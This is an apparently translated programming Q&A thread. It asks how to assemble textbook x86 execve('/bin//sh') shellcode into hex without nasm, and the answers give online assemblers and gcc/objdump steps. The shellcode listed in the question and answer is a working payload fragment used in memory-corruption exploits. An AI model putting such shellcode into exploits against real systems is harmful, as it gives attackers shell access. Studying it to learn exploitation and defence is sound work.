我有以下汇编代码从Erickson的漏洞书中生成一个shell:
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.
但是,我的linux机器没有nasm并且需要我取得管理员来下载软件包。还有其他方法可以将其变为十六进制吗?我知道GCC使用AT& T,但我不知道任何支持Intel x86的方法。
答案 0 :(得分:3)
也许在线汇编程序可以提供帮助:
http://www2.onlinedisassembler.com/odaweb/
https://defuse.ca/online-x86-assembler.htm
答案 1 :(得分:3)
要获得只有十六进制转储,您不需要有效的可执行文件。在您的情况下(没有重定位),我认为在您的操作系统上使用汇编程序在家中组装代码没有问题,获取hex-dump并在目标系统上使用它。只需照顾架构(i386或x86_64)。
以下是在Linux上获取hex-dump的步骤:
test.s(小写' .s')
.intel_syntax noprefix
.text
.global _start
_start:
xor eax, eax # Zero out eax.
push eax # Push some nulls for string termination.
push 0x68732f2f # Push "//sh" to the stack.
push 0x6e69622f # Push "/bin" to the stack.
mov ebx, esp # Put the address of "/bin//sh" into ebx, via esp.
push eax # Push 32-bit null terminator to stack.
mov edx, esp # This is an empty array for envp.
push ebx # Push string addr to stack above null terminator.
mov ecx, esp # This is the argv array with string ptr.
mov al, 11 # Syscall #11.
int 0x80 # Do it.
考虑将评论标记;
更改为#
。
构建并获取hex-dump:
gcc -m32 -c test.s
objdump -F -s -j.text test.o
您还可以使用gdb test.o
和disass/r _start